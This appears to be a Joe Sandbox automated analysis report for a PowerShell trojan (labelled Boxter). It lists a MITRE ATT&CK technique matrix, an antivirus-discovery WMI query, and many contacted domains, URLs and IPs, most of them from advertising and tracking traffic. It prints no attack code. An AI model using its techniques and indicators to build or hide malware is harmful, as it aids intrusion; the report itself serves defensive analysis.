Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: powershell.exe, 00000002.00000002.1953677689.000002185E8ED000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1820173637.0000021844794000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : select * from AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	41 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	31 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
KpCJCaQswCshdLQFFKLtCbGdhL.ps1	32%	ReversingLabs	Script-PowerShell.Trojan.Boxter

Source	Detection	Scanner	Label
http://www.opensource.org/licenses/mit-license.php	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://js.adsrvr.org/up_loader.1.1.0.js	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://js.driftt.com/core/assets/css/39.eeb001f3.chunk.css	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://ib.adnxs.com/getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid	0%	URL Reputation	safe
https://connect.facebook.net/	0%	URL Reputation	safe
https://jquery.com/	0%	URL Reputation	safe
https://developers.marketo.com/MunchkinLicense.pdf	0%	URL Reputation	safe
https://www.clarity.ms/s/0.7.47/clarity.js	0%	URL Reputation	safe
https://sizzlejs.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
013-gax-394.mktoresp.com	192.28.144.124	true	false	unknown
s.dsp-prod.demandbase.com	34.96.71.22	true	false	unknown
platform.twitter.map.fastly.net	199.232.188.157	true	false	unknown
t.co	162.159.140.229	true	false	unknown
sync.crwdcntrl.net	34.251.185.45	true	false	unknown
cm.g.doubleclick.net	142.250.186.66	true	false	unknown
www.google.com	142.250.186.164	true	false	unknown
id.rlcdn.com	35.244.174.68	true	false	unknown
concurtechnologies.sc.omtrdc.net	63.140.62.27	true	false	unknown
match.adsrvr.org	3.33.220.150	true	false	unknown
star-mini.c10r.facebook.com	157.240.251.35	true	false	unknown
us-u.openx.net	34.98.64.218	true	false	unknown
s.twitter.com	104.244.42.195	true	false	unknown
ActivationEdge-activation-1631408035.eu-central-1.elb.amazonaws.com	52.58.104.46	true	false	unknown
pug-lhr-bc.pubmnet.com	185.64.191.210	true	false	unknown
consent.trustarc.com	13.224.189.92	true	false	unknown
googleads.g.doubleclick.net	142.250.186.162	true	false	unknown
assets-tracking.crazyegg.com	18.66.122.74	true	false	unknown
td.doubleclick.net	142.250.186.98	true	false	unknown
ml314.com	34.117.77.79	true	false	unknown
partners-alb-1113315349.us-east-1.elb.amazonaws.com	18.214.213.210	true	false	unknown
dzfq4ouujrxm8.cloudfront.net	13.33.187.116	true	false	unknown
tracking.crazyegg.com	34.251.198.143	true	false	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown
dart.l.doubleclick.net	142.250.185.70	true	false	unknown
afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com	34.193.113.164	true	false	unknown
adservice.google.com	142.250.184.194	true	false	unknown
dg2iu7dxxehbo.cloudfront.net	18.172.103.101	true	false	unknown
dl7g9llrghqi1.cloudfront.net	18.245.86.14	true	false	unknown
adobetarget.data.adobedc.net	66.235.152.225	true	false	unknown
ps.eyeota.net	3.127.178.105	true	false	unknown
pagestates-tracking.crazyegg.com	13.35.58.58	true	false	unknown
insight.adsrvr.org	3.33.220.150	true	false	unknown
idsync.rlcdn.com	35.244.174.68	true	false	unknown
scontent.xx.fbcdn.net	157.240.253.1	true	false	unknown
cdn.pdst.fm	35.244.142.80	true	false	unknown
dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	18.202.39.134	true	false	unknown
edge-web.dual-gslb.spotify.com	35.186.224.24	true	false	unknown
tag-logger.demandbase.com	18.173.205.104	true	false	unknown
ad.doubleclick.net	142.250.185.166	true	false	unknown
fei.pro-market.net	107.178.240.89	true	false	unknown
pubads.g.doubleclick.net	142.250.184.226	true	false	unknown
s-part-0039.t-0009.t-msedge.net	13.107.246.67	true	false	unknown
dp2.33across.com	67.202.105.24	true	false	unknown
ax-0001.ax-msedge.net	150.171.28.10	true	false	unknown
d3nidttaq34fka.cloudfront.net	13.32.121.47	true	false	unknown
dsum-sec.casalemedia.com	172.64.151.101	true	false	unknown
api.company-target.com	18.66.102.98	true	false	unknown
ib.anycast.adnxs.com	185.89.210.212	true	false	unknown
scripts.demandbase.com	18.245.46.25	true	false	unknown
aorta.clickagy.com	52.3.55.35	true	false	unknown
static.ads-twitter.com	unknown	unknown	false	unknown
9504840.fls.doubleclick.net	unknown	unknown	false	unknown
metrics.api.drift.com	unknown	unknown	false	unknown
t.clarity.ms	unknown	unknown	false	unknown
siteintercept.qualtrics.com	unknown	unknown	false	unknown
cm.everesttech.net	unknown	unknown	false	unknown
pixel.everesttech.net	unknown	unknown	false	unknown
script.crazyegg.com	unknown	unknown	false	unknown
js.driftt.com	unknown	unknown	false	unknown
pixels.spotify.com	unknown	unknown	false	unknown
c.clarity.ms	unknown	unknown	false	unknown
conversation.api.drift.com	unknown	unknown	false	unknown
js.adsrvr.org	unknown	unknown	false	unknown
s.company-target.com	unknown	unknown	false	unknown
pixel.rubiconproject.com	unknown	unknown	false	unknown
connect.facebook.net	unknown	unknown	false	unknown
px.ads.linkedin.com	unknown	unknown	false	unknown
munchkin.marketo.net	unknown	unknown	false	unknown
www.concur.ca	unknown	unknown	false	unknown
concur.demdex.net	unknown	unknown	false	unknown
partners.tremorhub.com	unknown	unknown	false	unknown
tags.tiqcdn.com	unknown	unknown	false	unknown
cdn.schemaapp.com	unknown	unknown	false	unknown
sync-tm.everesttech.net	unknown	unknown	false	unknown
www.concur.com	unknown	unknown	false	unknown
s.go-mpulse.net	unknown	unknown	false	unknown
assets.concur.com	unknown	unknown	false	unknown
cdn1124.net	unknown	unknown	false	unknown
image2.pubmatic.com	unknown	unknown	false	unknown
zn5i4efhc5klaftno-sapinsights.siteintercept.qualtrics.com	unknown	unknown	false	unknown
customer.api.drift.com	unknown	unknown	false	unknown
dpm.demdex.net	unknown	unknown	false	unknown
aa.agkn.com	unknown	unknown	false	unknown
zn4jwrp4ueb3vn6f8-sapinsights.siteintercept.qualtrics.com	unknown	unknown	false	unknown
www.facebook.com	unknown	unknown	false	unknown
www.clarity.ms	unknown	unknown	false	unknown
www.linkedin.com	unknown	unknown	false	unknown
targeting.api.drift.com	unknown	unknown	false	unknown
analytics.twitter.com	unknown	unknown	false	unknown
snap.licdn.com	unknown	unknown	false	unknown
ib.adnxs.com	unknown	unknown	false	unknown
sync.search.spotxchange.com	unknown	unknown	false	unknown
684dd311.akstat.io	unknown	unknown	false	unknown
c.go-mpulse.net	unknown	unknown	false	unknown
baxhwilimyrrqzx6lczq-f-71a5b1f66-clientnsv4-s.akamaihd.net	unknown	unknown	false	unknown
concurtechnologies.tt.omtrdc.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://tags.tiqcdn.com/utag/concur/concur/prod/utag.1007.js?utv=ut4.39.202405201524	false		unknown
https://tags.tiqcdn.com/utag/concur/concur/prod/utag.210.js?utv=ut4.39.201805151414	false		unknown
https://js.driftt.com/core/assets/css/28.812d5a7c.chunk.css	false		unknown
https://pagestates-tracking.crazyegg.com/healthcheck	false		unknown
https://tags.tiqcdn.com/utag/concur/concur/prod/utag.1239.js?utv=ut4.39.202209271833	false		unknown
https://match.adsrvr.org/track/cmf/appnexus?ttd=1&anid=7044996041827226272&ttd_tdid=74afb848-711b-4442-bde5-d7137629b408	false		unknown
https://js.driftt.com/core/assets/js/22.6b9a301a.chunk.js	false		unknown
https://match.adsrvr.org/track/cmb/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.concur.com&ttd_tpi=1	false		unknown
https://www.concur.com/	false		unknown
https://partners.tremorhub.com/sync?UIDM=73baa8d8-6341-4ced-a3a0-0f5a42d3a1e0	false		unknown
https://www.google.com/pagead/1p-user-list/709441075?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.8636527407794696&is_vtc=1&cid=CAQSKQDpaXnfrFhP8-vNAPgpMRGv-LHiYlc4tMc2DoYhYWBFdBitFoHuvj3z&random=1926801147	false		unknown
https://js.adsrvr.org/up_loader.1.1.0.js	false	URL Reputation: safe	unknown
https://tags.tiqcdn.com/utag/concur/concur/prod/utag.1143.js?utv=ut4.39.202104161600	false		unknown
https://us-u.openx.net/w/1.0/sd?cc=1&id=537148856&val=Zv5YvgAAAEmPUQN-	false		unknown
https://js.driftt.com/core/assets/css/39.eeb001f3.chunk.css	false	URL Reputation: safe	unknown
https://ps.eyeota.net/match?bid=6j5b2cv&uid=77063524538646072271479213259445098681&r=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D30064%26dpuuid%3D%7BUUID_6j5b2cv%7D	false		unknown
https://js.driftt.com/core/assets/js/1.50f0b6c5.chunk.js	false		unknown
https://match.adsrvr.org/track/cmf/google?g_uuid=&gdpr=0&gdpr_consent=&ttd_tdid=74afb848-711b-4442-bde5-d7137629b408&google_gid=CAESEFBB3fekXSIFjweLJ5x10vU&google_cver=1	false		unknown
https://js.driftt.com/include/1727945100000/7xzz4mtpike9.js	false		unknown
https://tags.tiqcdn.com/utag/concur/concur/prod/utag.303.js?utv=ut4.39.202103101828	false		unknown
https://ib.adnxs.com/setuid?entity=158&code=Zv5YvgAAAEmPUQN-	false		unknown
https://tags.tiqcdn.com/utag/concur/concur/prod/utag.1036.js?utv=ut4.39.202007161705	false		unknown
https://sync.crwdcntrl.net/map/c=9828/tp=ADBE/gdpr=0/gdpr_consent=/tpid=77063524538646072271479213259445098681?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D121998%26dpuuid%3D${profile_id}	false		unknown
https://scripts.demandbase.com/4d7mpJHG.min.js	false		unknown
https://tags.tiqcdn.com/utag/tiqapp/utag.v.js?a=concur/concur/202409261709&cb=1727944902648	false		unknown
https://www.google.com/pagead/1p-user-list/998825301?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.589641747490889&is_vtc=1&cid=CAQSKQDpaXnfsYm7YDaipI0SHUrdsIoPhzfqyfcPHNoLyRp7pVRIzaOE2PI9&random=2965414864	false		unknown
https://dpm.demdex.net/id?d_visid_ver=5.2.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=3F8B2B31536CFF310A490D4C%40AdobeOrg&d_nsid=0&ts=1727944887869	false		unknown
https://js.driftt.com/core/assets/css/1.fdc718c4.chunk.css	false		unknown
https://ib.adnxs.com/bounce?%2Fsetuid%3Fentity%3D158%26code%3DZv5YvgAAAEmPUQN-	false		unknown
https://www.google.com/pagead/1p-user-list/938446152?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.991085238520482&is_vtc=1&cid=CAQSKQDpaXnfOCUPsU-zs5M8dfs_IWxWXwZycaaKSKyPOsjp-GIaVkdGh2gA&random=3975066931	false		unknown
https://www.google.com/pagead/1p-user-list/1037794718?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.19141949046631468&is_vtc=1&cid=CAQSKQDpaXnfxEjsVoEyZ8m3XOeCQKVL6P41I6vqtagpVCHzVQHzGamkLyxd&random=833662701	false		unknown
https://www.clarity.ms/s/0.7.47/clarity.js	false	URL Reputation: safe	unknown
https://js.driftt.com/core/chat?d=1&region=US&driftEnableLog=false&pageLoadStartTime=1727944883023	false		unknown
https://tags.tiqcdn.com/utag/concur/concur/prod/utag.1288.js?utv=ut4.39.202401172153	false		unknown
https://match.adsrvr.org/track/cmf/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.concur.com&ttd_tpi=1	false		unknown
https://dpm.demdex.net/ibs:dpid=79908&dpuuid=Zv5YxMr7bME0JQVxqlPDhBNP	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/cure53/DOMPurify/blob/2.0.11/dist/purify.js#L128	chromecache_214.6.dr, chromecache_428.6.dr	false		unknown
https://s2.go-mpulse.net/boomerang/	chromecache_440.6.dr	false		unknown
https://www.youtube.com/embed/	chromecache_453.6.dr, chromecache_513.6.dr	false		unknown
http://prismstandard.org/namespaces/prismusagerights/2.1/	chromecache_238.6.dr	false		unknown
https://www.concur.com/en-us/travel-booking	chromecache_440.6.dr	false		unknown
https://open.concur.com	chromecache_440.6.dr	false		unknown
https://github.com/jquery/jquery/blob/1.5/jquery.js#L5147	chromecache_214.6.dr, chromecache_428.6.dr	false		unknown
https://www.concur.com.hk	chromecache_440.6.dr	false		unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.5.dr	false		unknown
http://www.opensource.org/licenses/mit-license.php	chromecache_214.6.dr, chromecache_300.6.dr, chromecache_428.6.dr, chromecache_508.6.dr	false	URL Reputation: safe	unknown
https://metrics.api.drift.com	chromecache_534.6.dr, chromecache_413.6.dr	false		unknown
https://www.concur.pe	chromecache_440.6.dr	false		unknown
https://www.linkedin.com/company/sapconcur/	chromecache_440.6.dr	false		unknown
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.1947234615.0000019D900B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1947234615.0000019D901E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1928670954.0000021856586000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1928670954.00000218566C9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.concur.com/en-us/invoice-integration	chromecache_440.6.dr	false		unknown
https://www.concur.com/yf.hM	powershell.exe, 00000000.00000002.1977973452.0000019DF7E17000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.concur.com/index.html	chromecache_440.6.dr	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.1822553431.0000019D80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1821237606.0000021846511000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/jquery/jquery/blob/1.5/jquery.js#L4960	chromecache_214.6.dr, chromecache_428.6.dr	false		unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000005.00000003.1804885305.00000239102C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	false		unknown
https://github.com/microsoft/clarity	chromecache_326.6.dr, chromecache_360.6.dr	false		unknown
https://cdn1124.net/223dc805-5605-4a0b-b828-cdad1b84126e-79d39c2c-0f10-48d1-9edf-c18a784efba0e#ro	powershell.exe, 00000002.00000002.1821237606.000002184678B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.1821237606.000002184678B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/jquery/jquery/blob/1.5/jquery.js#L5493	chromecache_214.6.dr, chromecache_428.6.dr	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.1821237606.000002184678B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000002.00000002.1928670954.00000218566C9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ib.adnxs.com/getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid	chromecache_237.6.dr	false	URL Reputation: safe	unknown
https://siteintercept.qualtrics.com	chromecache_234.6.dr, chromecache_228.6.dr, chromecache_241.6.dr, chromecache_235.6.dr	false		unknown
https://github.com/jquery/jquery/blob/1.5/jquery.js#L4958	chromecache_214.6.dr, chromecache_428.6.dr	false		unknown
https://github.com/jquery/jquery/blob/1.5/jquery.js#L4957	chromecache_214.6.dr, chromecache_428.6.dr	false		unknown
https://www.youtube.com/user/ConcurTechnologies	chromecache_440.6.dr	false		unknown
http://crl.ver)	svchost.exe, 00000005.00000002.2960011119.0000023910000000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://consent.trustarc.com/get?name=Proxima_Nova_Semibold.otf)	chromecache_516.6.dr, chromecache_318.6.dr	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.1821237606.000002184678B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.concur.nl	chromecache_440.6.dr	false		unknown
https://www.concursolutions.com/	chromecache_440.6.dr	false		unknown
https://www.concur.no	chromecache_440.6.dr	false		unknown
https://connect.facebook.net/	chromecache_385.6.dr, chromecache_502.6.dr	false	URL Reputation: safe	unknown
https://www.concur.com/sites/default/files/homepage-stairstep.png);	chromecache_440.6.dr	false		unknown
https://js.driftt.com/include/	chromecache_528.6.dr, chromecache_393.6.dr	false		unknown
https://html.spec.whatwg.org/multipage/syntax.html#elements-2	chromecache_214.6.dr, chromecache_428.6.dr	false		unknown
https://jquery.com/	chromecache_214.6.dr, chromecache_428.6.dr	false	URL Reputation: safe	unknown
https://developers.marketo.com/MunchkinLicense.pdf	chromecache_525.6.dr, chromecache_418.6.dr, chromecache_258.6.dr, chromecache_260.6.dr	false	URL Reputation: safe	unknown
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11022	chromecache_428.6.dr	false		unknown
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11023	chromecache_428.6.dr	false		unknown
https://customer.api.drift.com	chromecache_534.6.dr, chromecache_413.6.dr	false		unknown
https://www.concur.com/sites/default/files/js/js_r9-AARDvulegGsTKa_GTOZ6teZkjKuA6pg6Ni9JlokI.js	chromecache_440.6.dr	false		unknown
https://community.concur.com	chromecache_440.6.dr	false		unknown
https://www.concur.com	chromecache_440.6.dr	false		unknown
https://consent.trustarc.com/log	chromecache_516.6.dr, chromecache_318.6.dr	false		unknown
https://sizzlejs.com/	chromecache_214.6.dr, chromecache_428.6.dr	false	URL Reputation: safe	unknown
https://www.concur.com/sites/default/files/salesforce_logo.png	chromecache_440.6.dr	false		unknown
https://www.concur.com/china-business-travel	chromecache_440.6.dr	false		unknown
https://www.concur.com/sites/default/files/invoice-pictogram.png	chromecache_440.6.dr	false		unknown
https://github.com/jquery/jquery/blob/3.0.0/dist/jquery.js#L4584	chromecache_214.6.dr, chromecache_428.6.dr	false		unknown
https://unifiedid.com/docs/sdks/client-side-identity#event-types-and-payload-details	chromecache_478.6.dr, chromecache_426.6.dr	false		unknown
https://consent-pref.trustarc.com?type=concur_v2	chromecache_516.6.dr, chromecache_318.6.dr	false		unknown
https://www.concur.dk	chromecache_440.6.dr	false		unknown
https://www.concur.com/admin/structure/block/manage/block/517/configure	chromecache_440.6.dr	false		unknown
https://www.clarity.ms/tag/uet/	chromecache_398.6.dr, chromecache_431.6.dr	false		unknown
https://assets.concur.com/ab/personalized-hp/images/cards/image--concur-invoice-demo.jpg	chromecache_440.6.dr	false		unknown
https://github.com/InteractiveAdvertisingBureau/Global-Privacy-Platform/blob/main/Core/CMP%20API%20S	chromecache_478.6.dr, chromecache_426.6.dr	false		unknown
https://www.concur.co.jp	chromecache_440.6.dr	false		unknown
https://www.concur.com/sites/all/themes/concur7/favicon.ico	chromecache_440.6.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
18.66.102.98	api.company-target.com	United States	3	MIT-GATEWAYSUS	false
192.28.144.124	013-gax-394.mktoresp.com	United States	15224	OMNITUREUS	false
52.31.64.150	unknown	United States	16509	AMAZON-02US	false
66.235.152.225	adobetarget.data.adobedc.net	United States	15224	OMNITUREUS	false
46.137.24.228	unknown	Ireland	16509	AMAZON-02US	false
37.252.171.52	unknown	European Union	29990	ASN-APPNEXUS	false
18.245.46.89	unknown	United States	16509	AMAZON-02US	false
13.35.58.58	pagestates-tracking.crazyegg.com	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
13.224.189.92	consent.trustarc.com	United States	16509	AMAZON-02US	false
35.244.174.68	id.rlcdn.com	United States	15169	GOOGLEUS	false
18.245.86.14	dl7g9llrghqi1.cloudfront.net	United States	16509	AMAZON-02US	false
34.251.198.143	tracking.crazyegg.com	United States	16509	AMAZON-02US	false
185.89.210.212	ib.anycast.adnxs.com	Germany	29990	ASN-APPNEXUS	false
142.250.186.130	unknown	United States	15169	GOOGLEUS	false
142.250.185.166	ad.doubleclick.net	United States	15169	GOOGLEUS	false
157.240.0.6	unknown	United States	32934	FACEBOOKUS	false
18.173.205.104	tag-logger.demandbase.com	United States	3	MIT-GATEWAYSUS	false
18.66.122.74	assets-tracking.crazyegg.com	United States	3	MIT-GATEWAYSUS	false
104.244.42.195	s.twitter.com	United States	13414	TWITTERUS	false
35.186.224.24	edge-web.dual-gslb.spotify.com	United States	15169	GOOGLEUS	false
150.171.27.10	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.31.23.243	unknown	United States	16509	AMAZON-02US	false
157.240.253.1	scontent.xx.fbcdn.net	United States	32934	FACEBOOKUS	false
142.250.181.228	unknown	United States	15169	GOOGLEUS	false
172.66.0.227	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.186.66	cm.g.doubleclick.net	United States	15169	GOOGLEUS	false
52.58.104.46	ActivationEdge-activation-1631408035.eu-central-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
3.127.178.105	ps.eyeota.net	United States	16509	AMAZON-02US	false
13.35.58.27	unknown	United States	16509	AMAZON-02US	false
13.33.187.60	unknown	United States	16509	AMAZON-02US	false
13.32.121.44	unknown	United States	16509	AMAZON-02US	false
63.140.62.222	unknown	United States	15224	OMNITUREUS	false
13.32.121.47	d3nidttaq34fka.cloudfront.net	United States	16509	AMAZON-02US	false
18.173.205.127	unknown	United States	3	MIT-GATEWAYSUS	false
142.250.184.226	pubads.g.doubleclick.net	United States	15169	GOOGLEUS	false
18.66.122.57	unknown	United States	3	MIT-GATEWAYSUS	false
34.117.77.79	ml314.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
35.171.198.4	unknown	United States	14618	AMAZON-AESUS	false
142.250.184.196	unknown	United States	15169	GOOGLEUS	false
162.159.140.229	t.co	United States	13335	CLOUDFLARENETUS	false
3.33.220.150	match.adsrvr.org	United States	8987	AMAZONEXPANSIONGB	false
18.202.39.134	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
34.96.71.22	s.dsp-prod.demandbase.com	United States	15169	GOOGLEUS	false
142.250.184.194	adservice.google.com	United States	15169	GOOGLEUS	false
34.246.204.82	unknown	United States	16509	AMAZON-02US	false
104.244.42.131	unknown	United States	13414	TWITTERUS	false
104.18.36.155	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.185.70	dart.l.doubleclick.net	United States	15169	GOOGLEUS	false
199.232.188.157	platform.twitter.map.fastly.net	United States	54113	FASTLYUS	false
34.251.185.45	sync.crwdcntrl.net	United States	16509	AMAZON-02US	false
18.245.86.87	unknown	United States	16509	AMAZON-02US	false
67.202.105.24	dp2.33across.com	United States	32748	STEADFASTUS	false
13.107.246.67	s-part-0039.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.172.103.101	dg2iu7dxxehbo.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
185.64.191.210	pug-lhr-bc.pubmnet.com	United Kingdom	62713	AS-PUBMATICUS	false
172.64.151.101	dsum-sec.casalemedia.com	United States	13335	CLOUDFLARENETUS	false
52.3.55.35	aorta.clickagy.com	United States	14618	AMAZON-AESUS	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
63.140.62.27	concurtechnologies.sc.omtrdc.net	United States	15224	OMNITUREUS	false
18.214.213.210	partners-alb-1113315349.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
13.33.187.116	dzfq4ouujrxm8.cloudfront.net	United States	16509	AMAZON-02US	false
150.171.28.10	ax-0001.ax-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.245.46.25	scripts.demandbase.com	United States	16509	AMAZON-02US	false
142.250.186.98	td.doubleclick.net	United States	15169	GOOGLEUS	false
107.178.240.89	fei.pro-market.net	United States	15169	GOOGLEUS	false
142.250.186.162	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
142.250.185.134	unknown	United States	15169	GOOGLEUS	false
216.58.206.66	unknown	United States	15169	GOOGLEUS	false
34.98.64.218	us-u.openx.net	United States	15169	GOOGLEUS	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
35.244.142.80	cdn.pdst.fm	United States	15169	GOOGLEUS	false
157.240.251.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524853
Start date and time:	2024-10-03 10:40:17 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
